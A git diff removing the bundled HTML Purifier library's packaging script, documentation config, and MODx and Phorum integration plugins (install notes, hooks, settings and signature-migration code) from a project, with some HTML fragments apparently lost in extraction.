. '/library'), - 'filelistgenerator' => 'file', - 'include' => array('*'), - 'dir_roles' => array('/' => 'php'), // hack to put *.ser files in the right place - 'ignore' => array( - 'HTMLPurifier.standalone.php', - 'HTMLPurifier.path.php', - '*.tar.gz', - '*.tgz', - 'standalone/' - ), - ) -); - -$pkg->setPackage('HTMLPurifier'); -$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html'); -$pkg->setSummary('Standards-compliant HTML filter'); -$pkg->setDescription( - 'HTML Purifier is an HTML filter that will remove all malicious code - (better known as XSS) with a thoroughly audited, secure yet permissive - whitelist and will also make sure your documents are standards - compliant.' -); - -$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes'); - -$version = trim(file_get_contents('VERSION')); -$api_version = substr($version, 0, strrpos($version, '.')); - -$pkg->setChannel('htmlpurifier.org'); -$pkg->setAPIVersion($api_version); -$pkg->setAPIStability('stable'); -$pkg->setReleaseVersion($version); -$pkg->setReleaseStability('stable'); - -$pkg->addRelease(); - -$pkg->setNotes(file_get_contents('WHATSNEW')); -$pkg->setPackageType('php'); - -$pkg->setPhpDep('5.0.0'); -$pkg->setPearinstallerDep('1.4.3'); - -$pkg->generateContents(); - -$pkg->writePackageFile(); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/phpdoc.ini b/classes/security/htmlpurifier/phpdoc.ini deleted file mode 100644 index c4c372353..000000000 --- a/classes/security/htmlpurifier/phpdoc.ini +++ /dev/null @@ -1,102 +0,0 @@ -;; phpDocumentor parse configuration file -;; -;; This file is designed to cut down on repetitive typing on the command-line or web interface -;; You can copy this file to create a number of configuration files that can be used with the -;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web -;; interface will automatically generate a list of .ini files that can be used. -;; -;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs -;; -;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini -;; -;; Copyright 2002, Greg Beaver -;; -;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them - -[Parse Data] -;; title of all the documentation -;; legal values: any string -title = HTML Purifier API Documentation - -;; parse files that start with a . like .bash_profile -;; legal values: true, false -hidden = false - -;; show elements marked @access private in documentation by setting this to on -;; legal values: on, off -parseprivate = off - -;; parse with javadoc-like description (first sentence is always the short description) -;; legal values: on, off -javadocdesc = on - -;; add any custom @tags separated by commas here -;; legal values: any legal tagname separated by commas. -;customtags = mytag1,mytag2 - -;; This is only used by the XML:DocBook/peardoc2 converter -defaultcategoryname = Documentation - -;; what is the main package? -;; legal values: alphanumeric string plus - and _ -defaultpackagename = HTMLPurifier - -;; output any parsing information? set to on for cron jobs -;; legal values: on -;quiet = on - -;; parse a PEAR-style repository. Do not turn this on if your project does -;; not have a parent directory named "pear" -;; legal values: on/off -;pear = on - -;; where should the documentation be written? -;; legal values: a legal path -target = docs/phpdoc - -;; Which files should be parsed out as special documentation files, such as README, -;; INSTALL and CHANGELOG? This overrides the default files found in -;; phpDocumentor.ini (this file is not a user .ini file, but the global file) -readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS - -;; limit output to the specified packages, even if others are parsed -;; legal values: package names separated by commas -;packageoutput = package1,package2 - -;; comma-separated list of files to parse -;; legal values: paths separated by commas -;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory - -;; comma-separated list of directories to parse -;; legal values: directory paths separated by commas -;directory = /path1,/path2,.,..,subdirectory -;directory = /home/jeichorn/cvs/pear -directory = . - -;; template base directory (the equivalent directory of /phpDocumentor) -;templatebase = /path/to/my/templates - -;; directory to find any example files in through @example and {@example} tags -;examplesdir = /path/to/my/templates - -;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore -;; legal values: any wildcard strings separated by commas -;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/ -ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf* - -sourcecode = on - -;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format -;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib, -;; HTML:frames:earthli, -;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de, -;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli -;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS -;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default -output=HTML:frames:default - -;; turn this option on if you want highlighted source code for every file -;; legal values: on/off -sourcecode = on - -; vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/modx.txt b/classes/security/htmlpurifier/plugins/modx.txt deleted file mode 100644 index 0763821b5..000000000 --- a/classes/security/htmlpurifier/plugins/modx.txt +++ /dev/null @@ -1,112 +0,0 @@ - -MODx Plugin - -MODx is an open source PHP application framework. -I first came across them in my referrer logs when tillda asked if anyone -could implement an HTML Purifier plugin. This forum thread - eventually resulted -in the fruition of this plugin that davidm says, "is on top of my favorite -list." HTML Purifier goes great with WYSIWYG editors! - - - -1. Credits - -PaulGregory wrote the overall structure of the code. I added the -slashes hack. - - - -2. Install - -First, you need to place HTML Purifier library somewhere. The code here -assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version -number). - -Log into the manager, and navigate: - -Resources > Manage Resources > Plugins tab > New Plugin - -Type in a name (probably HTML Purifier), and copy paste this code into the -textarea: - --------------------------------------------------------------------------------- -$e = &$modx->Event; -if ($e->name == 'OnBeforeDocFormSave') { - global $content; - - include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php'; - $purifier = new HTMLPurifier(); - - static $magic_quotes = null; - if ($magic_quotes === null) { - // this is an ugly hack because this hook hasn't - // had the backslashes removed yet when magic_quotes_gpc is on, - // but HTMLPurifier must not have the quotes slashed. - $magic_quotes = get_magic_quotes_gpc(); - } - - if ($magic_quotes) $content = stripslashes($content); - $content = $purifier->purify($content); - if ($magic_quotes) $content = addslashes($content); -} --------------------------------------------------------------------------------- - -Then navigate to the System Events tab and check "OnBeforeDocFormSave". -Save the plugin. HTML Purifier now is integrated! - - - -3. Making sure it works - -You can test HTML Purifier by deliberately putting in crappy HTML and seeing -whether or not it gets fixed. A better way is to put in something like this: - -

    Il est bon

    - -...and seeing whether or not the content comes out as: - -

    Il est bon

    - -(lang to xml:lang synchronization is one of the many features HTML Purifier -has). - - - -4. Caveat Emptor - -This code does not intercept save requests from the QuickEdit plugin, this may -be added in a later version. It also modifies things on save, so there's a -slight chance that HTML Purifier may make a boo-boo and accidently mess things -up (the original version is not saved). - -Finally, make sure that MODx is using UTF-8. If you are using, say, a French -localisation, you may be using Latin-1, if that's the case, configure -HTML Purifier properly like this: - -$config = HTMLPurifier_Config::createDefault(); -$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding -$purifier = new HTMLPurifier($config); - - - -5. Known Bugs - -'rn' characters sometimes mysteriously appear after purification. We are -currently investigating this issue. See: - - - -6. See Also - -A modified version of Jot 1.1.3 is available, which integrates with HTML -Purifier. You can check it out here: - - -X. Changelog - -2008-06-16 -- Updated code to work with 3.1.0 and later -- Add Known Bugs and See Also section - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/.gitignore b/classes/security/htmlpurifier/plugins/phorum/.gitignore deleted file mode 100644 index 8325e0902..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -migrate.php -htmlpurifier/* diff --git a/classes/security/htmlpurifier/plugins/phorum/Changelog b/classes/security/htmlpurifier/plugins/phorum/Changelog deleted file mode 100644 index 9f939e54a..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/Changelog +++ /dev/null @@ -1,27 +0,0 @@ -Changelog HTMLPurifier : Phorum Mod -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -Version 4.0.0 for Phorum 5.2, released July 9, 2009 -# Works only with HTML Purifier 4.0.0 -! Better installation documentation -- Fixed double encoded quotes -- Fixed fatal error when migrate.php is blank - -Version 3.0.0 for Phorum 5.2, released January 12, 2008 -# WYSIWYG and suppress_message options are now configurable via web - interface. -- Module now compatible with Phorum 5.2, primary bugs were in migration - code as well as signature and edit message handling. This module is NOT - compatible with Phorum 5.1. -- Buggy WYSIWYG mode refined -. AutoFormatParam added to list of default configuration namespaces - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/INSTALL b/classes/security/htmlpurifier/plugins/phorum/INSTALL deleted file mode 100644 index 23c76fc5c..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/INSTALL +++ /dev/null @@ -1,84 +0,0 @@ - -Install - How to install the Phorum HTML Purifier plugin - -0. PREREQUISITES ----------------- -This Phorum module only works on PHP5 and with HTML Purifier 4.0.0 -or later. - -1. UNZIP --------- -Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder. -You've already done this step if you're reading this! - -2. MOVE -------- -Move the htmlpurifier folder to the mods/ folder of your Phorum -installation, so the directory structure looks like: - -phorum/ - mods/ - htmlpurifier/ - INSTALL - this install file - info.txt, ... - the module files - htmlpurifier/ - -3. INSTALL HTML PURIFIER ------------------------- -Download and unzip HTML Purifier . Place the contents of -the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory -structure will look like: - -phorum/ - mods/ - htmlpurifier/ - htmlpurifier/ - HTMLPurifier.auto.php - ... - other files - HTMLPurifier/ - -Advanced users: - If you have HTML Purifier installed elsewhere on your server, - all you need is an HTMLPurifier.auto.php file in the library folder which - includes the HTMLPurifier.auto.php file in your install. - -4. MIGRATE ----------- -If you're setting up a new Phorum installation, all you need to do is create -a blank migrate.php file in the htmlpurifier module folder (NOT the library -folder. - -If you have an old Phorum installation and was using BBCode, -copy migrate.bbcode.php to migrate.php. If you were using a different input -format, follow the instructions in migrate.bbcode.php to create your own custom -migrate.php file. - -Your directory structure should now look like this: - -phorum/ - mods/ - htmlpurifier/ - migrate.php - -5. ENABLE ---------- -Navigate to your Phorum admin panel at http://example.com/phorum/admin.php, -click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and -turn it On. - -6. MIGRATE SIGNATURES ---------------------- -If you're setting up a new Phorum installation, skip this step. - -If you allowed your users to make signatures, navigate to the module settings -page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod > -Configure), type in "yes" in the "Confirm" box, and press "Migrate." - -ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE! - -7. CONFIGURE ------------- -Configure using Edit settings. See that page for more information. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/README b/classes/security/htmlpurifier/plugins/phorum/README deleted file mode 100644 index 0524ed39d..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/README +++ /dev/null @@ -1,45 +0,0 @@ - -HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way! - -This Phorum mod enables HTML posting on Phorum. Under normal circumstances, -this would cause a huge security risk, but because we are running -HTML through HTML Purifier, output is guaranteed to be XSS free and -standards-compliant. - -This mod requires HTML input, and previous markup languages need to be -converted accordingly. Thus, it is vital that you create a 'migrate.php' -file that works with your installation. If you're using the built-in -BBCode formatting, simply move migrate.bbcode.php to that place; for -other markup languages, consult said file for instructions on how -to adapt it to your needs. - - -- NOTE ------------------------------------------------- - You can also run this module in parallel with another - formatting module; this module attempts to place itself - at the end of the filtering chain. However, if any - previous modules produce insecure HTML (for instance, - a JavaScript email obfuscator) they will get cleaned. - -This module will not work if 'migrate.php' is not created, and an improperly -made migration file may *CORRUPT* Phorum, so please take your time to -do this correctly. It should go without saying to *BACKUP YOUR DATABASE* -before attempting anything here. If no migration is necessary, you can -simply create a blank migrate.php file. HTML Purifier is smart and will -not re-migrate already processed messages. However, the original code -is irretrievably lost (we may change this in the future.) - -This module will not automatically migrate user signatures, because this -process may take a long time. After installing the HTML Purifier module and -then configuring 'migrate.php', navigate to Settings and click 'Migrate -Signatures' to migrate all user signatures to HTML. - -All of HTML Purifier's usual functions are configurable via the mod settings -page. If you require custom configuration, create config.php file in -the mod directory that edits a $config variable. Be sure, also, to -set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a -WYSIWYG editor (you can do this through a common hook or the web -configuration form). - -Visit HTML Purifier at . - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/config.default.php b/classes/security/htmlpurifier/plugins/phorum/config.default.php deleted file mode 100644 index e047c0b42..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/config.default.php +++ /dev/null @@ -1,57 +0,0 @@ -set('HTML.Allowed', - // alphabetically sorted -'a[href|title] -abbr[title] -acronym[title] -b -blockquote[cite] -br -caption -cite -code -dd -del -dfn -div -dl -dt -em -i -img[src|alt|title|class] -ins -kbd -li -ol -p -pre -s -strike -strong -sub -sup -table -tbody -td -tfoot -th -thead -tr -tt -u -ul -var'); -$config->set('AutoFormat.AutoParagraph', true); -$config->set('AutoFormat.Linkify', true); -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); -$config->set('Core.AggressivelyFixLt', true); -$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually -if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') { - $config->set('Core.EscapeNonASCIICharacters', true); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php b/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php deleted file mode 100644 index 6f74fc8c9..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php +++ /dev/null @@ -1,309 +0,0 @@ - $message){ - if(isset($message['body'])) { - - if ($message_id) { - // we're dealing with a real message, not a fake, so - // there a number of shortcuts that can be taken - - if (isset($message['meta']['htmlpurifier_light'])) { - // format hook was called outside of Phorum's normal - // functions, do the abridged purification - $data[$message_id]['body'] = $purifier->purify($message['body']); - continue; - } - - if (!empty($PHORUM['args']['purge'])) { - // purge the cache, must be below the following if - unset($message['meta']['body_cache']); - } - - if ( - isset($message['meta']['body_cache']) && - isset($message['meta']['body_cache_serial']) && - $message['meta']['body_cache_serial'] == $cache_serial - ) { - // cached version is present, bail out early - $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']); - continue; - } - } - - // migration might edit this array, that's why it's defined - // so early - $updated_message = array(); - - // create the $body variable - if ( - $message_id && // message must be real to migrate - !isset($message['meta']['body_cache_serial']) - ) { - // perform migration - $fake_data = array(); - list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message); - $fake_data[$message_id] = $message; - $fake_data = phorum_htmlpurifier_migrate($fake_data); - $body = $fake_data[$message_id]['body']; - $body = str_replace("\n", "\n", $body); - $updated_message['body'] = $body; // save it in - $body .= $signature . $edit_message; // add it back in - } else { - // reverse Phorum's pre-processing - $body = $message['body']; - // order is important - $body = str_replace("\n", "\n", $body); - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - if (!$message_id && defined('PHORUM_CONTROL_CENTER')) { - // we're in control.php, so it was double-escaped - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - } - } - - $body = $purifier->purify($body); - - // dynamically update the cache (MUST BE DONE HERE!) - // this is inefficient because it's one db call per - // cache miss, but once the cache is in place things are - // a lot zippier. - - if ($message_id) { // make sure it's not a fake id - $updated_message['meta'] = $message['meta']; - $updated_message['meta']['body_cache'] = base64_encode($body); - $updated_message['meta']['body_cache_serial'] = $cache_serial; - phorum_db_update_message($message_id, $updated_message); - } - - // must not get overloaded until after we cache it, otherwise - // we'll inadvertently change the original text - $data[$message_id]['body'] = $body; - - } - } - - return $data; -} - -// ----------------------------------------------------------------------- -// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please -// keep this code in-sync with Phorum - -/** - * Generates a signature based on a message array - */ -function phorum_htmlpurifier_generate_sig($row) { - $phorum_sig = ''; - if(isset($row["user"]["signature"]) - && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){ - $phorum_sig=trim($row["user"]["signature"]); - if(!empty($phorum_sig)){ - $phorum_sig="\n\n$phorum_sig"; - } - } - return $phorum_sig; -} - -/** - * Generates an edit message based on a message array - */ -function phorum_htmlpurifier_generate_editmessage($row) { - $PHORUM = $GLOBALS['PHORUM']; - $editmessage = ''; - if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) { - $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]); - $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage); - $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage); - $editmessage = "\n\n\n\n$editmessage"; - } - return $editmessage; -} - -// End fragile code -// ----------------------------------------------------------------------- - -/** - * Removes the signature and edit message from a message - * @param $row Message passed by reference - */ -function phorum_htmlpurifier_remove_sig_and_editmessage(&$row) { - $signature = phorum_htmlpurifier_generate_sig($row); - $editmessage = phorum_htmlpurifier_generate_editmessage($row); - $replacements = array(); - // we need to remove add as that is the form these - // extra bits are in. - if ($signature) $replacements[str_replace("\n", "\n", $signature)] = ''; - if ($editmessage) $replacements[str_replace("\n", "\n", $editmessage)] = ''; - $row['body'] = strtr($row['body'], $replacements); - return array($signature, $editmessage); -} - -/** - * Indicate that data is fully HTML and not from migration, invalidate - * previous caches - * @note This function could generate the actual cache entries, but - * since there's data missing that must be deferred to the first read - */ -function phorum_htmlpurifier_posting($message) { - $PHORUM = $GLOBALS["PHORUM"]; - unset($message['meta']['body_cache']); // invalidate the cache - $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial']; - return $message; -} - -/** - * Overload quoting mechanism to prevent default, mail-style quote from happening - */ -function phorum_htmlpurifier_quote($array) { - $PHORUM = $GLOBALS["PHORUM"]; - $purifier =& HTMLPurifier::getInstance(); - $text = $purifier->purify($array[1]); - $source = htmlspecialchars($array[0]); - return "
    \n$text\n
    "; -} - -/** - * Ensure that our format hook is processed last. Also, loads the library. - * @credits - */ -function phorum_htmlpurifier_common() { - - require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php'); - require(dirname(__FILE__).'/init-config.php'); - - $config = phorum_htmlpurifier_get_config(); - HTMLPurifier::getInstance($config); - - // increment revision.txt if you want to invalidate the cache - $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial(); - - // load migration - if (file_exists(dirname(__FILE__) . '/migrate.php')) { - include(dirname(__FILE__) . '/migrate.php'); - } else { - echo 'Error: No migration path specified for HTML Purifier, please check - modes/htmlpurifier/migrate.bbcode.php for instructions on - how to migrate from your previous markup language.'; - exit; - } - - if (!function_exists('phorum_htmlpurifier_migrate')) { - // Dummy function - function phorum_htmlpurifier_migrate($data) {return $data;} - } - -} - -/** - * Pre-emptively performs purification if it looks like a WYSIWYG editor - * is being used - */ -function phorum_htmlpurifier_before_editor($message) { - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - if (!empty($message['body'])) { - $body = $message['body']; - // de-entity-ize contents - $body = str_replace(array('<','>','&'), array('<','>','&'), $body); - $purifier =& HTMLPurifier::getInstance(); - $body = $purifier->purify($body); - // re-entity-ize contents - $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']); - $message['body'] = $body; - } - } - return $message; -} - -function phorum_htmlpurifier_editor_after_subject() { - // don't show this message if it's a WYSIWYG editor, since it will - // then be handled automatically - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - $i = $GLOBALS['PHORUM']['DATA']['MODE']; - if ($i == 'quote' || $i == 'edit' || $i == 'moderation') { - ?> -
    -

    - Notice: HTML has been scrubbed for your safety. - If you would like to see the original, turn off WYSIWYG mode - (consult your administrator for details.) -

    -
    -
    -

    - HTML input is enabled. Make sure you escape all HTML and - angled brackets with &lt; and &gt;. -

    config; - if ($config->get('AutoFormat.AutoParagraph')) { - ?>

    - Auto-paragraphing is enabled. Double - newlines will be converted to paragraphs; for single - newlines, use the pre tag. -

    getDefinition('HTML'); - $allowed = array(); - foreach ($html_definition->info as $name => $x) $allowed[] = "$name"; - sort($allowed); - $allowed_text = implode(', ', $allowed); - ?>

    Allowed tags: .

    -

    -

    - For inputting literal code such as HTML and PHP for display, use - CDATA tags to auto-escape your angled brackets, and pre - to preserve newlines: -

    -
    <pre><![CDATA[
    -Place code here
    -]]></pre>
    -

    - Power users, you can hide this notice with: -

    .htmlpurifier-help {display:none;}
    -

    -
    - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README b/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README deleted file mode 100644 index 7df1ebeda..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README +++ /dev/null @@ -1,3 +0,0 @@ -The contents of the library/ folder should be here. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/info.txt b/classes/security/htmlpurifier/plugins/phorum/info.txt deleted file mode 100644 index 723465490..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/info.txt +++ /dev/null @@ -1,18 +0,0 @@ -title: HTML Purifier Phorum Mod -desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod. -author: Edward Z. Yang -url: http://htmlpurifier.org/ -version: 4.0.0 - -hook: format|phorum_htmlpurifier_format -hook: quote|phorum_htmlpurifier_quote -hook: posting_custom_action|phorum_htmlpurifier_posting -hook: common|phorum_htmlpurifier_common -hook: before_editor|phorum_htmlpurifier_before_editor -hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject - -# This module is meant to be a drop-in for bbcode, so make it run last. -priority: run module after * -priority: run hook format after * - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/init-config.php b/classes/security/htmlpurifier/plugins/phorum/init-config.php deleted file mode 100644 index aa7b15599..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/init-config.php +++ /dev/null @@ -1,28 +0,0 @@ -'; -phorum_htmlpurifier_show_form(); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/form.php b/classes/security/htmlpurifier/plugins/phorum/settings/form.php deleted file mode 100644 index a47a5fae7..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/form.php +++ /dev/null @@ -1,93 +0,0 @@ -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in - - if (!empty($error)){ - echo "$error
    "; - } - - $frm->addbreak("Edit settings for the HTML Purifier module"); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']. - When checked, contents sent for edit are now purified and the - informative message is disabled. If your WYSIWYG editor is disabled for - admin edits, you can safely keep this unchecked.

    '); - $frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg'])); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'suppress_message\'], - which removes the big how-to use - HTML Purifier message.

    '); - $frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message'])); - - $frm->addMessage('

    Click on directive links to read what each option does - (links do not open in new windows).

    -

    For more flexibility (for instance, you want to edit the full - range of configuration directives), you can create a config.php - file in your mods/htmlpurifier/ directory. Doing so will, - however, make the web configuration interface unavailable.

    '); - - require_once 'HTMLPurifier/Printer/ConfigForm.php'; - $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s'); - $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space - - $frm->addMessage($htmlpurifier_form->render( - $config, $PHORUM['mod_htmlpurifier']['directives'], false)); - - $frm->addMessage("Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings."); - - $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false)); - - // hack to include extra styling - echo ''; - $js = $htmlpurifier_form->getJavaScript(); - echo ''; - - $frm->show(); -} - -function phorum_htmlpurifier_show_config_info() { - global $PHORUM; - - // update mod_htmlpurifier for housekeeping - phorum_htmlpurifier_commit_settings(); - - // politely tell user how to edit settings manually -?> -
    How to edit settings for HTML Purifier module
    -

    - A config.php file exists in your mods/htmlpurifier/ - directory. This file contains your custom configuration: in order to - change it, please navigate to that file and edit it accordingly. - You can also set $GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'] - or $GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'] -

    -

    - To use the web interface, delete config.php (or rename it to - config.php.bak). -

    -

    - Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings. -

    -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); - $frm->hidden("migrate-sigs", "1"); - $frm->addbreak("Migrate user signatures to HTML"); - $frm->addMessage('This operation will migrate your users signatures - to HTML. This process is irreversible and must only be performed once. - Type in yes in the confirmation field to migrate.'); - if (!file_exists(dirname(__FILE__) . '/../migrate.php')) { - $frm->addMessage('Migration file does not exist, cannot migrate signatures. - Please check migrate.bbcode.php on how to create an appropriate file.'); - } else { - $frm->addrow('Confirm:', $frm->text_box("confirmation", "")); - } - $frm->show(); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php b/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php deleted file mode 100644 index 81c1f0ba9..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php +++ /dev/null @@ -1,77 +0,0 @@ -$PHORUM["mod_htmlpurifier"])); - $offset = 1; - } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) { - $offset = (int) $_GET['migrate-sigs']; - } - return $offset; -} - -function phorum_htmlpurifier_migrate_sigs($offset) { - global $PHORUM; - - if(!$offset) return; // bail out quick if $offset == 0 - - // theoretically, we could get rid of this multi-request - // doo-hickery if safe mode is off - @set_time_limit(0); // attempt to let this run - $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment']; - - require_once(dirname(__FILE__) . '/../migrate.php'); - // migrate signatures - // do this in batches so we don't run out of time/space - $end = $offset + $increment; - $user_ids = array(); - for ($i = $offset; $i < $end; $i++) { - $user_ids[] = $i; - } - $userinfos = phorum_db_user_get_fields($user_ids, 'signature'); - foreach ($userinfos as $i => $user) { - if (empty($user['signature'])) continue; - $sig = $user['signature']; - // perform standard Phorum processing on the sig - $sig = str_replace(array("&","<",">"), array("&","<",">"), $sig); - $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig); - // prepare fake data to pass to migration function - $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig)); - list($fake_message) = phorum_htmlpurifier_migrate($fake_data); - $user['signature'] = $fake_message['body']; - if (!phorum_api_user_save($user)) { - exit('Error while saving user data'); - } - } - unset($userinfos); // free up memory - - // query for highest ID in database - $type = $PHORUM['DBCONFIG']['type']; - $sql = "select MAX(user_id) from {$PHORUM['user_table']}"; - $row = phorum_db_interact(DB_RETURN_ROW, $sql); - $top_id = (int) $row[0]; - - $offset += $increment; - if ($offset > $top_id) { // test for end condition - echo 'Migration finished'; - $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false; - phorum_htmlpurifier_commit_settings(); - return true; - } - $host = $_SERVER['HTTP_HOST']; - $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\'); - $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset; - // relies on output buffering to work - header("Location: http://$host$uri/$extra"); - exit; - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/save.php b/classes/security/htmlpurifier/plugins/phorum/settings/save.php deleted file mode 100644 index 7dbb767d0..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/save.php +++ /dev/null @@ -1,27 +0,0 @@ -mods/htmlpurifier/config.php already exists. To change - settings, edit that file. To use the web form, delete that file.
